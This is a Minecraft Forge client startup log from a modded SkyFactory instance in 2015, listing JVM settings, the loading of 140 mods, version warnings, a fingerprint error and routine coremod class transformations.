-XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump -XX:-OmitStackTraceInFastThrow -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -XX:-UseAdaptiveSizePolicy -Xms256M -Xmx1024M -XX:MetaspaceSize=128M [16/5/2015 18:45:38 PM] AABB Pool Size: 0 (0 bytes; 0 MB) allocated, 0 (0 bytes; 0 MB) used [16/5/2015 18:45:38 PM] IntCache: cache: 0, tcache: 0, allocated: 0, tallocated: 0 [16/5/2015 18:45:38 PM] FML: [16/5/2015 18:45:38 PM] GL info: ' Vendor: 'Intel' Version: '2.1.0 - Build 8.15.10.2086' Renderer: 'Intel(R) HD Graphics' [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Attempting early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: MinecraftForge v10.13.3.1395 Initialized [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: minecraft:textures/font/ascii.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Replaced 183 ore recipies [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Preloading CrashReport classes [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: minecraft:textures/gui/title/mojang.png, i: 0, j: 0, size: 256, width: 256, height: 256 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.chunk.Chunk$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.EntityTracker$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.player.InventoryPlayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: fml:textures/gui/forge.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetHandlerPlayServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetworkSystem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$10 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$11 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$12 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$13 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$14 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$15 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.RenderGlobal$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureAtlasSprite$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureManager$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Completed early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal of erroring Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal of erroring Tile Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Found 0 mods from the command line. Injecting into mod discoverer [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Searching **USERSDIR**\Instances\SkyFactory\mods for mods [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Also searching **USERSDIR**\Instances\SkyFactory\mods\1.7.10 for mods [16/5/2015 18:45:48 PM] [Client thread/WARN] [DamageIndicatorsMod]: Mod DamageIndicatorsMod is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 3.2.3 [16/5/2015 18:45:53 PM] [Client thread/WARN] [ChickenChunks]: Mod ChickenChunks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.3.4.19 [16/5/2015 18:45:54 PM] [Client thread/WARN] [DragonMounts]: Mod DragonMounts is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version r41-1.7.10 [16/5/2015 18:45:55 PM] [Client thread/WARN] [EnderStorage]: Mod EnderStorage is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.7.32 [16/5/2015 18:45:57 PM] [Client thread/WARN] [ExtraUtilities]: Mod ExtraUtilities is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.2.4a [16/5/2015 18:45:58 PM] [Client thread/WARN] [ForbiddenMagic]: Mod ForbiddenMagic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.7.10-0.562 [16/5/2015 18:46:01 PM] [Client thread/WARN] [neiintegration]: Mod neiintegration is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.0.8 [16/5/2015 18:46:04 PM] [Client thread/WARN] [simplyjetpacks]: Mod simplyjetpacks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1 [16/5/2015 18:46:08 PM] [Client thread/WARN] [Translocator]: Mod Translocator is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.1.14 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Core]: Mod WR-CBE|Core is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Addons]: Mod WR-CBE|Addons is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:12 PM] [Client thread/WARN] [WR-CBE|Logic]: Mod WR-CBE|Logic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:13 PM] [Client thread/WARN] [ForgeMicroblock]: Mod ForgeMicroblock is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [ForgeMultipart]: Mod ForgeMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [McMultipart]: Mod McMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Forge Mod Loader has identified 140 mods to load [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [exastris] containing declared API package cofh.api.energy (owned by CoFHAPI) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [ExtraUtilities] containing declared API package baubles.api (owned by Baubles) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [FoodPlus] containing declared API package thaumcraft.api (owned by Thaumcraft) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [EnderIO] containing declared API package com.cricketcraft.chisel.api (owned by Chisel) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [simplyjetpacks] containing declared API package cofh.api (owned by CoFHLib) without associated API reference [16/5/2015 18:46:18 PM] [Client thread/INFO] [FML]: FML has found a non-mod file CodeChickenLib-1.7.10-1.1.3.134-universal.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at CLIENT [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at SERVER [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.network.FMLOutboundHandler with checksum CB55471D614BD5AF06AEA87A77A3014F [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Successful injection in write (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/channel/ChannelPromise;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.eventhandler.ASMEventHandler with checksum 1C68592318817E7EE853EC874A5ACBF4 [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in <init> (Ljava/lang/Object;Ljava/lang/reflect/Method;Lcpw/mods/fml/common/ModContainer;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [STDOUT]: [mods.immibis.core.ImmibisCore:initPreferredEnergySystem:198]: [Immibis Core] Preferred energy system set to: redstoneFlux [16/5/2015 18:46:33 PM] [Client thread/INFO] [Draconic Evolution]: Hello Minecraft!!! [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:36 PM] [Client thread/INFO] [TConstruct]: Natura, what are we going to do tomorrow night? [16/5/2015 18:46:36 PM] [Client thread/INFO] [Natura]: TConstruct, we're going to take over the world! [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Starting on net.minecraft.client.model.ModelBiped [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Method is func_78087_a or a for obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Descriptor is (FFFFFFLnet/minecraft/entity/Entity;)V or (FFFFFFLsa;)V dor obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Found method: a (FFFFFFLsa;)V [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] RETURN Opcode found [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Patched! [16/5/2015 18:46:41 PM] GregsLighting: creativeTab = gcewing.lighting.GregsLighting$1@1804f6e [16/5/2015 18:46:44 PM] [Client thread/INFO] [OpenMods]: openperipheral.ApiProvider.installApi(ApiProvider.java:203): OPC API v. 3.2 provideded by OpenPeripheralCore, (ApiAccess source: jar:file:/C:/Users/cr7/Desktop/New%20folder/Instances/SkyFactory/mods/OpenPeripheralCore-1.7.10-1.1.jar!/openperipheral/api/ApiAccess.class) [16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming Class [net.minecraft.world.WorldType], Method [func_76564_j] [16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming net.minecraft.world.WorldType Finished. [16/5/2015 18:46:50 PM] [Client thread/ERROR] [MooFluids]: The mod MooFluids is expecting signature @FINGERPRINT@ for source MooFluids-1.7.10-1.5.01.19a.jar, however there is no signature matching that description [16/5/2015 18:46:50 PM] [Client thread/ERROR] [Moo Fluids]: No fingerprint found! [16/5/2015 18:46:50 PM] [Client thread/INFO]: Reloading ResourceManager: Default, FMLFileResourcePack:Forge Mod Loader, FMLFileResourcePack:Minecraft Forge, FMLFileResourcePack:Not Enough Items, FMLFileResourcePack:Lucky Block, FMLFileResourcePack:Furnace 3D, FMLFileResourcePack:ArmorStatusHUD, FMLFileResourcePack:Damage Indicators, FMLFileResourcePack:StartingInventory, FMLFileResourcePack:Applied Energistics 2, FMLFileResourcePack:AutoFood, FMLFileResourcePack:Automagy, FMLFileResourcePack:AutoPackager, FMLFileResourcePack:BiblioCraft, FMLFileResourcePack:BiblioWoods Natura Edition, FMLFileResourcePack:Big Reactors, FMLFileResourcePack:Botania, FMLFileResourcePack:Carpenter's Blocks, FMLFileResourcePack:ChickenChunks, FMLFileResourcePack:Chisel 2, FMLFileResourcePack:CoFH Core, FMLFileResourcePack:ComputerCraft, FMLFileResourcePack:Cosmetic Armor, FMLFileResourcePack:Decocraft, FMLFileResourcePack:Draconic Evolution, FMLFileResourcePack:Dragon Mounts, FMLFileResourcePack:Dual Hotbar, FMLFileResourcePack:Emotes, FMLFileResourcePack:Ender IO, FMLFileResourcePack:EnderStorage, FMLFileResourcePack:EnderTech, FMLFileResourcePack:Ender Utilities, FMLFileResourcePack:Ex Astris, FMLFileResourcePack:Ex Nihilo, FMLFileResourcePack:ExtraCells, FMLFileResourcePack:ExtraTiC, FMLFileResourcePack:Extra Utilities, FMLFileResourcePack:Food Plus, FMLFileResourcePack:Forbidden Magic, FMLFileResourcePack:FoxLib, FMLFileResourcePack:Greg's Lighting, FMLFileResourcePack:Hats, FMLFileResourcePack:HatStand, FMLFileResourcePack:Headcrumbs, FMLFileResourcePack:iChunUtil, FMLFileResourcePack:Iguana Tinker Tweaks, FMLFileResourcePack:Immibis Core, FMLFileResourcePack:Inventory Tweaks, FMLFileResourcePack:Iron Chest, FMLFileResourcePack:It's Raining Food, FMLFileResourcePack:JABBA, FMLFileResourcePack:Liquid XP, FMLFileResourcePack:Loot Bags, FMLFileResourcePack:LunatriusCore, FMLFileResourcePack:Magical Crops, FMLFileResourcePack:Mantle, FMLFileResourcePack:MinefactoryReloaded & MagicalCrops extra compatibility, FMLFileResourcePack:MineFactory Reloaded, FMLFileResourcePack:MFR Compat: Applied Energistics, FMLFileResourcePack:MFR Compat: Atum, FMLFileResourcePack:MFR Compat: BackTools, FMLFileResourcePack:MFR Compat: BuildCraft, FMLFileResourcePack:MFR Compat: Chococraft, FMLFileResourcePack:MFR Compat: ExtraBiomes, FMLFileResourcePack:MFR Compat: Forestry, FMLFileResourcePack:MFR Compat: ForgeMicroblock, FMLFileResourcePack:MFR Compat: IC2, FMLFileResourcePack:MFR Compat: Mystcraft, FMLFileResourcePack:MFR Compat ProjectRed, FMLFileResourcePack:MFR Compat: Railcraft, FMLFileResourcePack:MFR Compat: Sufficient Biomes, FMLFileResourcePack:MFR Compat: Thaumcraft, FMLFileResourcePack:MFR Compat: Thermal Expansion, FMLFileResourcePack:MFR Compat: Tinkers' Construct, FMLFileResourcePack:MFR Compat: TwilightForest, FMLFileResourcePack:MFR Compat: Vanilla, FMLFileResourcePack:Moo Fluids, FMLFileResourcePack:MorePlayerModels, FMLFileResourcePack:Morpheus, FMLFileResourcePack:Natura, FMLFileResourcePack:NEI Addons, FMLFileResourcePack:NEI Addons: Botany, FMLFileResourcePack:NEI Addons: Forestry, FMLFileResourcePack:NEI Addons: Crafting Tables, FMLFileResourcePack:NEI Addons: Ex Nihilo, FMLFileResourcePack:NEI Integration, FMLFileResourcePack:OpenBlocks, FMLFileResourcePack:OpenMods, FMLFileResourcePack:OpenPeripheralAddons, FMLFileResourcePack:OpenPeripheralCore, FMLFileResourcePack:OpenPeripheralIntegration, FMLFileResourcePack:Plugin Messages Mod, FMLFileResourcePack:Ranchable Fluid Cows, FMLFileResourcePack:RedLogic, FMLFileResourcePack:Redstone Arsenal, FMLFileResourcePack:Reliquary, FMLFileResourcePack:RFTools, FMLFileResourcePack:Simple Achievements, FMLFileResourcePack:Simply Jetpacks, FMLFileResourcePack:Slabcraft, FMLFileResourcePack:Solar Flux, FMLFileResourcePack:Staircraft, FMLFileResourcePack:Sync, FMLFileResourcePack:Tabula Rasa, FMLFileResourcePack:Tails, FMLFileResourcePack:Tinkers' Construct, FMLFileResourcePack:Thaumcraft, FMLFileResourcePack:Thaumcraft NEI Plugin, FMLFileResourcePack:Thaumic Energistics, FMLFileResourcePack:Thermal Casting, FMLFileResourcePack:Thermal Dynamics, FMLFileResourcePack:Thermal Expansion, FMLFileResourcePack:Thermal Foundation, FMLFileResourcePack:Translocator, FMLFileResourcePack:Tree Growing Simulator 2014, FMLFileResourcePack:ttCore, FMLFileResourcePack:Utility Mobs, FMLFileResourcePack:Vein Miner, FMLFileResourcePack:Mod Support, FMLFileResourcePack:Waila, FMLFileResourcePack:Waila Harvestability, FMLFileResourcePack:Waila NBT, FMLFileResourcePack:What Are We Looking At, FMLFileResourcePack:Witchery, FMLFileResourcePack:WR-CBE Core, FMLFileResourcePack:WR-CBE Addons, FMLFileResourcePack:WR-CBE Logic, FMLFileResourcePack:YUNoMakeGoodMap, FMLFileResourcePack:bspkrsCore, FMLFileResourcePack:Baubles, FMLFileResourcePack:Forge Microblocks, FMLFileResourcePack:Forge Multipart, FMLFileResourcePack:Minecraft Multipart Plugin, FMLFileResourcePack:libsandstone [16/5/2015 18:46:51 PM] [Client thread/INFO] [FML]: Processing ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Found 434 ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Configured a dormant chunk cache size of 0 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.entity.RenderManager [ bnn ] with checksum 23331C7A7033A1CF1F1AAE38FD89A9B5 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher [ bmk ] with checksum 1B9F2A44C89A8C0C359AD4D34A73DA8D [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:47:00 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( started ) [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145839_a(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145841_b(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed 